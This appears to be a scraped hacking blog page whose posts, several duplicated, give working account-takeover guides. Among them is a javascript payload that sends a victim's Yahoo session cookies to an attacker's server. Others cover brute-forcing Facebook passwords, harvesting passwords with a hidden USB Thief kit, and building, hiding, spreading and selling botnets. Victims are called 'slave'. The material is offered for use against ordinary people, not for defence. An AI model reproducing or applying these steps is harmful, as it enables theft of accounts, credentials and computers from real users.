I am gonna tell you how to hack any yahoo account by stealing cookies or we can say stealing session IDs.
First of all I want to tell you the basics of the cookies.
What are session cookies or session IDs?
Whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. Session cookies enable the website you are visiting to keep track of your movement from page to page so you don’t get asked for the same information you’ve already given to the site. Cookies allow you to proceed through many pages of a site quickly and easily without having to authenticate or reprocess each new area you visit. This piece of string or login session is destroyed when we click on ‘Sign Out’ option.
Just visit yahoo.com. Type in browser
Code:
javascript:alert(document.cookie);
You would get a pop up box showing you the cookies left by yahoo on our PC.
Now login to your account and do same thing, you would see some more elements added to the cookies. These represent sessions ids.
So it means sessions are stored in our browser in form of cookies.
An attacker can steal that session by convincing slave to run a piece of code in browser. Attacker can use that stolen session to login into slave’s account without providing any username/password. This attack is very uncommon because when the slave clicks ‘Sign out’, session gets destroyed and attacker too also gets signed out.
But in case of yahoo, it’s not the same. The attacker doesn’t get signed out when slave clicks ‘Sign out’. Though the session automatically gets destroyed after 24hrs by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions again for next 24 hrs. This means, once the yahoo account session is stolen, attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.
Download the required script from here:
Cookie Stealer Script
Steps for stealing session cookies:
1. Sign Up for an account at any free web hosting site.
I have chosen my3gb.com.
2. Now login to your account and go to file manager.
3. Now upload the four files that you have just downloaded. And also make a new directory named ‘cookies’ here.
4. Now give this code to slave to run in his browser when he would be logged in to his yahoo account.
Code:
javascript:document.location=’http://yourdomain.com/yahoo.php?ex=’.concat(escape(document.cookie));
Quote:Here is Yahoo.php basically a cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory ‘cookies’
When the slave runs the code in his browser, he would again redirect to his yahoo account.
5. Now open the hacked.php.
Url would be: http://yourdomain.com/hacked.php
And enter the password (Default password is CR@5H n BURN)
Now you must have got the username of slave’s account. Simply Click on it and it would take you to inbox of slave’s yahoo account without asking for any password.
Now it doesn’t matter if slave signs out from his account, you would remain logged into it.
Note: You can try this attack by using two browsers. Sign in into yahoo account in one browser and run the code. Then sign in through other browser using stolen session.
Sunday, April 17, 2011
HOW To hack facebook
So i’ve decided to “RELEASE” How i actually got into the facebook account…
Now alot of you think it was hard … Well it was only hard at the brute force , That’s what did most of the work, But i was required to do some work of my own..
ca
Yahoo is a good source of information and tools, Although they do not know that the tools they let people use can be used to hack others.. But yes.. Read the instructions and you will see how to exploit yahoo…
Ok, So to start you will need the following..
1, Yahoo account
2, Brute Force ( with built in proxy or Captcha solver ) = Face book captcha to stop multiple password tries.
3, Facebook account
4, The facebook you want to hack on your facebook friends list.
_
Step’s
Step one: Goto facebook and logout
Step two: Goto Yahoo
Step Two.One: Login to yahoo, ( Pretty obvious step.. )
Step Three: Goto *Mail* ( Its on the left hand side of the main page )
Step Four: Look in the middle of the page you will see
* IMPORT CONTACTS *
Step Five: Click IMPORT CONTACTS
Step Six: You will see 4-5 Options, Click Facebook
Step Seven: It will now have loaded a new window ( Turn popup blocker off )
Step Eight: Login to facebook, The page will shrink down and the yahoo page will start to update.
Step Nine: as you will see the yahoo will say *Importing contacts *
Step Ten: Once it has imported all the contacts
( If you made a fresh facebook / yahoo account it’s pretty easy to sift through them.
But If you only have the one person on your facebook, It will be the only one it add’s to the yahoo contacts.
Step Ten.One: Click * Download Contacts * <- YOU MUST DO THIS To get the email )
Step Eleven: Once Downloaded open with Microsoft Excel ( Recommended due to its easier to find the email part )
Step Twelve: Once you have found the email load your brute force..
Step Thirteen: Wait for the brute force to do its work..
Step Fifteen: Done..
Now alot of you think it was hard … Well it was only hard at the brute force , That’s what did most of the work, But i was required to do some work of my own..
ca
Yahoo is a good source of information and tools, Although they do not know that the tools they let people use can be used to hack others.. But yes.. Read the instructions and you will see how to exploit yahoo…
Ok, So to start you will need the following..
1, Yahoo account
2, Brute Force ( with built in proxy or Captcha solver ) = Face book captcha to stop multiple password tries.
3, Facebook account
4, The facebook you want to hack on your facebook friends list.
_
Step’s
Step one: Goto facebook and logout
Step two: Goto Yahoo
Step Two.One: Login to yahoo, ( Pretty obvious step.. )
Step Three: Goto *Mail* ( Its on the left hand side of the main page )
Step Four: Look in the middle of the page you will see
* IMPORT CONTACTS *
Step Five: Click IMPORT CONTACTS
Step Six: You will see 4-5 Options, Click Facebook
Step Seven: It will now have loaded a new window ( Turn popup blocker off )
Step Eight: Login to facebook, The page will shrink down and the yahoo page will start to update.
Step Nine: as you will see the yahoo will say *Importing contacts *
Step Ten: Once it has imported all the contacts
( If you made a fresh facebook / yahoo account it’s pretty easy to sift through them.
But If you only have the one person on your facebook, It will be the only one it add’s to the yahoo contacts.
Step Ten.One: Click * Download Contacts * <- YOU MUST DO THIS To get the email )
Step Eleven: Once Downloaded open with Microsoft Excel ( Recommended due to its easier to find the email part )
Step Twelve: Once you have found the email load your brute force..
Step Thirteen: Wait for the brute force to do its work..
Step Fifteen: Done..
HACK EMAIL ACCOUNT AND FACEBOOK PASSWORD USING USBthief
1. Free Download USB Thief to hack slave passwords.
2. Unzip the file. Connect USB drive to your computer. Format it.
3. In downloaded file, go to: “USB Thief Modified” -> “Copy” folder and copy all the files in that folder. Paste all the files in USB drive.
4. Now, in USB drive, hit on “hideh.bat” file which makes all the files in USB drive hidden. Delete “hideh.bat” file.
5. Move on to slave computer and plug in the USB. Open the USB drive on slave computer and wait for 8-10 seconds. Safely remove the USB from slave computer. All the slave passwords are thus, now captured in our USB drive.
6. Now, to see these passwords, copy “showh.bat” file from the downloaded files. Paste this file in your USB drive and run it in USB. Now refresh. You will be able to see all the hidden files.
7. Open “IMNeoWorld” folder which will contain all hacked passwords and license keys.
download usb thief from here
2. Unzip the file. Connect USB drive to your computer. Format it.
3. In downloaded file, go to: “USB Thief Modified” -> “Copy” folder and copy all the files in that folder. Paste all the files in USB drive.
4. Now, in USB drive, hit on “hideh.bat” file which makes all the files in USB drive hidden. Delete “hideh.bat” file.
5. Move on to slave computer and plug in the USB. Open the USB drive on slave computer and wait for 8-10 seconds. Safely remove the USB from slave computer. All the slave passwords are thus, now captured in our USB drive.
6. Now, to see these passwords, copy “showh.bat” file from the downloaded files. Paste this file in your USB drive and run it in USB. Now refresh. You will be able to see all the hidden files.
7. Open “IMNeoWorld” folder which will contain all hacked passwords and license keys.
download usb thief from here
Bypassing School blocked websites
Its very simple. At my school many sites are blocked for some reason :(
But theres a way to unblock it, you can do this to almost every website.
All you have to do its type “https://” in front of the website. Yes you include the S.
I use this to get on Facebook, Meebo ( AIM ) , Hackforums , etc.
Hope this helps you guys, enjoy! Smile
But theres a way to unblock it, you can do this to almost every website.
All you have to do its type “https://” in front of the website. Yes you include the S.
I use this to get on Facebook, Meebo ( AIM ) , Hackforums , etc.
Hope this helps you guys, enjoy! Smile
The Difference Between a DoS and a DDoS Attack
Okay- Here is a little rant that is probably going to turn into some basic information…
I am getting sick and tired of people making this mistake- I suppose I could understand because the difference in names is so small; but the difference in meanings is huge as far as Data flooding goes, aDoS (Denial of Service) is NOT a DDoS (Distributed Denial of Service)…There IS a Difference, Let me Define both of them:
DoS: a DoS Attack is a Denial of Service attack- it involves using one computer / Internet connection to flood a server with packets (TCP / UDP) – The Objective of this attack is to ‘overload’ the servers bandwidth / other resources, This will cause a Denial of Service to anyone else that tries to use the server for whatever reason (HTTP [Website]).etc – hence the name Denial of Service Attack.
DDoS: Yes, There IS a difference- a DDoS Attack (or Distributed Denial of Service Attack) is pretty much the same as a DoS- but the difference in results is massive; as its name suggests the DDoS attack is executed using a distributed computing method often referred to as a ‘botnet army’, the creation process of which involves infecting computers with a form of malware that gives the botnet owner access to the computer somewhat- this cold be anything from simply using the computers connection to flood to total control of the computer – these attacks affect the victims computer -> server more than a regular DoS- because multiple connections are being used against ONE connection, Think of it like a fight, if there is a 1-on-1 fight; the chance of the good guy winning is far higher than if he was being beaten up by severalthousand tough-guys :)
Anyway- I hope this clears things up a bit :)
I am getting sick and tired of people making this mistake- I suppose I could understand because the difference in names is so small; but the difference in meanings is huge as far as Data flooding goes, aDoS (Denial of Service) is NOT a DDoS (Distributed Denial of Service)…There IS a Difference, Let me Define both of them:
DoS: a DoS Attack is a Denial of Service attack- it involves using one computer / Internet connection to flood a server with packets (TCP / UDP) – The Objective of this attack is to ‘overload’ the servers bandwidth / other resources, This will cause a Denial of Service to anyone else that tries to use the server for whatever reason (HTTP [Website]).etc – hence the name Denial of Service Attack.
DDoS: Yes, There IS a difference- a DDoS Attack (or Distributed Denial of Service Attack) is pretty much the same as a DoS- but the difference in results is massive; as its name suggests the DDoS attack is executed using a distributed computing method often referred to as a ‘botnet army’, the creation process of which involves infecting computers with a form of malware that gives the botnet owner access to the computer somewhat- this cold be anything from simply using the computers connection to flood to total control of the computer – these attacks affect the victims computer -> server more than a regular DoS- because multiple connections are being used against ONE connection, Think of it like a fight, if there is a 1-on-1 fight; the chance of the good guy winning is far higher than if he was being beaten up by severalthousand tough-guys :)
Anyway- I hope this clears things up a bit :)
What is Botnet Question & anwer ..every thing you want to know
Q: What’s a bot?
A: A bot is a malicious program which has several purposes.
They are usually told what to do by a botnet admin although many of the features now are automated.
Q: What’s a botnet?
A: A botnet is a network of infected computers that all connect to one area where they are commanded by the botnet admin.
Q: What can a bot do?
A: Usual features of a bot include…
* P2P Spreading (Limewire, uTorrent, etc.)
* IM Spreading (Sends to contacts on MSN, AIM, etc.)
* DDoS attacking (See “what’s a DDoS attack?”)
* Spam mailing to lists of emails (Often used to spread)
* Collecting personal information (Passwords, bank details and the like)
Q: How are bots told what to do?
A: Bots are usually commanded through an IRC channel by the user. Commands are built in and the bots listen for them.
Q: What’s an IRC channel?
A: IRC stands for Internet Relay Chat. It’s like a group messaging thing although you can also speak to people privately. To use IRC you need a client like ChatZilla, XChat or mIRC. You then connect to an IRC server and choose the channel you wish to join.
Q: How do I get a botnet?
A: First you will need a source code and the programs required to compile it. Most bots are programmed in C++, but you don’t need any programming experience to compile your own. There is usually one file named “Configs.h” or something similar that you have to edit, that’s where you edit the bot names, the IRC channel and any other necessary information. Look for bot sources in the botnet section here and they’ll usually come with some form of instructions.
Q: Which bot should I use?
A: I recommend IMBot v4.1, it’s pretty simple to compile and use, I’m sure there are tutorials here for it as well.
You can download IMBot here. (Clean download, it’s mine).
Q: Is this illegal?
A: Yes. Mass-spreading a bot illegally and stealing information can get you into real trouble if you’re caught. 99% of the botnets that are shut down have over 10,000 bots, though, and I wouldn’t expect anyone here to reach over 5,000. You will have to make sure your IRC server is secure and that your bot stays undetected.
Q: Is it true I can make money from this?
A: Yes, potentially. You could make the bots visit referral sites or download files. A lot of people sell the accounts they’ve taken from their bots for a price cheaper than the original. You don’t have to do any of this, but as your botnet grows you will need more money to transfer to a professional IRC host.
Q: How can I secure/hide my botnet?
A: Offshore hosting first of all. Something in a country such as Sweden, for example. Dedicated hosting would be best, because that way you aren’t sharing your hosted server with anyone and you can hold a much larger network. A password on your IRC channel is also recommended. Be sure to use a bot that is undetected, whether you have to crypt it or not.
Q: What do most people use botnets for?
A: The majority of them are used for DDoS attacks against websites when there are a lot of them. Many people set up large botnets just to sell their bots, though. With the rate they spread at, you could sell a large amount of bots to someone for a nice profit with only a small amount of work done.
Q: How can I spread my bot?
A: Most bots are spread through torrenting websites or warez boards. A lot of bots also have auto-spread features, so you could have 50 bots and then gain 150 more through the auto-spreading without doing any work at all. A lot of people also buy bots off other botnet admins to start their botnet off with a nice amount.
Q: What type of bot would be best?
A: Java bots seem to be the most popular right now since a lot of them are still fully undetectable, but you have to bear in mind that your slave will need Java. The same with bots coded in VB.NET, your bots will need the .NET framework. Some VB6 bots may also need missing .ocx files, so in my opinion the best choice of bot would be one coded in C++ such as IMBot.
Q: How much should I pay for bot installs?
A: A good price would be 10 cents per bot, which works out at $10 for 100. Some botnet admins may charge you more, but I don’t think it’s worth paying much more than that. Another risk of buying from other botnet owners is that they still keep the bots to themselves as well, so be sure to find someone trustworthy. Bear in mind that some may not be able to remove their own.
Q: How do I configure my bot to connect to my IRC server?
A: Most bots come with some sort of instructions text file. There are also a lot of tutorials for different bots here at HF, just search the name of your bot. If you can’t find anything, there is usually a file named “config.h” (C++) or something similar. Open that and edit the parts that you’re supposed to, it should be clear which parts to change.
Example: //”server”,”pass”,6667,”channel”,”channelpass”,”-ix”; needs to be your info in that order.
Q: Is it easy to set everything up?
A: It is usually easy to configure and compile a bot, but setting up your IRC server, keeping it secure, paying for larger off-shore hosts, managing your bots and staying hidden are not easy tasks for beginners. Once you’ve done it all several times it will be easier though, as with anything. There are usually people here who would be able to help you out if you’re having any problems with your bots.
Q: Can I have a botnet without an IRC?
A: Yes. There are other great bots. Some can connect to PHP pages to read commands, some can be commanded over MSN and other clients, and some come with their own clients, e.g. DDoSeR. http://ddoser.info is a nice place to start if you’re not sure what you’re doing. It’s really simple to use and only $35.
A: A bot is a malicious program which has several purposes.
They are usually told what to do by a botnet admin although many of the features now are automated.
Q: What’s a botnet?
A: A botnet is a network of infected computers that all connect to one area where they are commanded by the botnet admin.
Q: What can a bot do?
A: Usual features of a bot include…
* P2P Spreading (Limewire, uTorrent, etc.)
* IM Spreading (Sends to contacts on MSN, AIM, etc.)
* DDoS attacking (See “what’s a DDoS attack?”)
* Spam mailing to lists of emails (Often used to spread)
* Collecting personal information (Passwords, bank details and the like)
Q: How are bots told what to do?
A: Bots are usually commanded through an IRC channel by the user. Commands are built in and the bots listen for them.
Q: What’s an IRC channel?
A: IRC stands for Internet Relay Chat. It’s like a group messaging thing although you can also speak to people privately. To use IRC you need a client like ChatZilla, XChat or mIRC. You then connect to an IRC server and choose the channel you wish to join.
Q: How do I get a botnet?
A: First you will need a source code and the programs required to compile it. Most bots are programmed in C++, but you don’t need any programming experience to compile your own. There is usually one file named “Configs.h” or something similar that you have to edit, that’s where you edit the bot names, the IRC channel and any other necessary information. Look for bot sources in the botnet section here and they’ll usually come with some form of instructions.
Q: Which bot should I use?
A: I recommend IMBot v4.1, it’s pretty simple to compile and use, I’m sure there are tutorials here for it as well.
You can download IMBot here. (Clean download, it’s mine).
Q: Is this illegal?
A: Yes. Mass-spreading a bot illegally and stealing information can get you into real trouble if you’re caught. 99% of the botnets that are shut down have over 10,000 bots, though, and I wouldn’t expect anyone here to reach over 5,000. You will have to make sure your IRC server is secure and that your bot stays undetected.
Q: Is it true I can make money from this?
A: Yes, potentially. You could make the bots visit referral sites or download files. A lot of people sell the accounts they’ve taken from their bots for a price cheaper than the original. You don’t have to do any of this, but as your botnet grows you will need more money to transfer to a professional IRC host.
Q: How can I secure/hide my botnet?
A: Offshore hosting first of all. Something in a country such as Sweden, for example. Dedicated hosting would be best, because that way you aren’t sharing your hosted server with anyone and you can hold a much larger network. A password on your IRC channel is also recommended. Be sure to use a bot that is undetected, whether you have to crypt it or not.
Q: What do most people use botnets for?
A: The majority of them are used for DDoS attacks against websites when there are a lot of them. Many people set up large botnets just to sell their bots, though. With the rate they spread at, you could sell a large amount of bots to someone for a nice profit with only a small amount of work done.
Q: How can I spread my bot?
A: Most bots are spread through torrenting websites or warez boards. A lot of bots also have auto-spread features, so you could have 50 bots and then gain 150 more through the auto-spreading without doing any work at all. A lot of people also buy bots off other botnet admins to start their botnet off with a nice amount.
Q: What type of bot would be best?
A: Java bots seem to be the most popular right now since a lot of them are still fully undetectable, but you have to bear in mind that your slave will need Java. The same with bots coded in VB.NET, your bots will need the .NET framework. Some VB6 bots may also need missing .ocx files, so in my opinion the best choice of bot would be one coded in C++ such as IMBot.
Q: How much should I pay for bot installs?
A: A good price would be 10 cents per bot, which works out at $10 for 100. Some botnet admins may charge you more, but I don’t think it’s worth paying much more than that. Another risk of buying from other botnet owners is that they still keep the bots to themselves as well, so be sure to find someone trustworthy. Bear in mind that some may not be able to remove their own.
Q: How do I configure my bot to connect to my IRC server?
A: Most bots come with some sort of instructions text file. There are also a lot of tutorials for different bots here at HF, just search the name of your bot. If you can’t find anything, there is usually a file named “config.h” (C++) or something similar. Open that and edit the parts that you’re supposed to, it should be clear which parts to change.
Example: //”server”,”pass”,6667,”channel”,”channelpass”,”-ix”; needs to be your info in that order.
Q: Is it easy to set everything up?
A: It is usually easy to configure and compile a bot, but setting up your IRC server, keeping it secure, paying for larger off-shore hosts, managing your bots and staying hidden are not easy tasks for beginners. Once you’ve done it all several times it will be easier though, as with anything. There are usually people here who would be able to help you out if you’re having any problems with your bots.
Q: Can I have a botnet without an IRC?
A: Yes. There are other great bots. Some can connect to PHP pages to read commands, some can be commanded over MSN and other clients, and some come with their own clients, e.g. DDoSeR. http://ddoser.info is a nice place to start if you’re not sure what you’re doing. It’s really simple to use and only $35.
Super Bluetooth Hack v 1.8 – New version released
Once connected to a another phone via bluetooth you can:
- read his messages
- read his contacts
- change profile
- play his ringtone even if phone is on silent
- play his songs(in his phone)
- restart the phone
- switch off the phone
- restore factory settings
- change ringing volume
- And here comes the best
“Call from his phone” it includes all call functions like hold etc.
+more!
- read his messages
- read his contacts
- change profile
- play his ringtone even if phone is on silent
- play his songs(in his phone)
- restart the phone
- switch off the phone
- restore factory settings
- change ringing volume
- And here comes the best
“Call from his phone” it includes all call functions like hold etc.
+more!
Subscribe to:
Posts (Atom)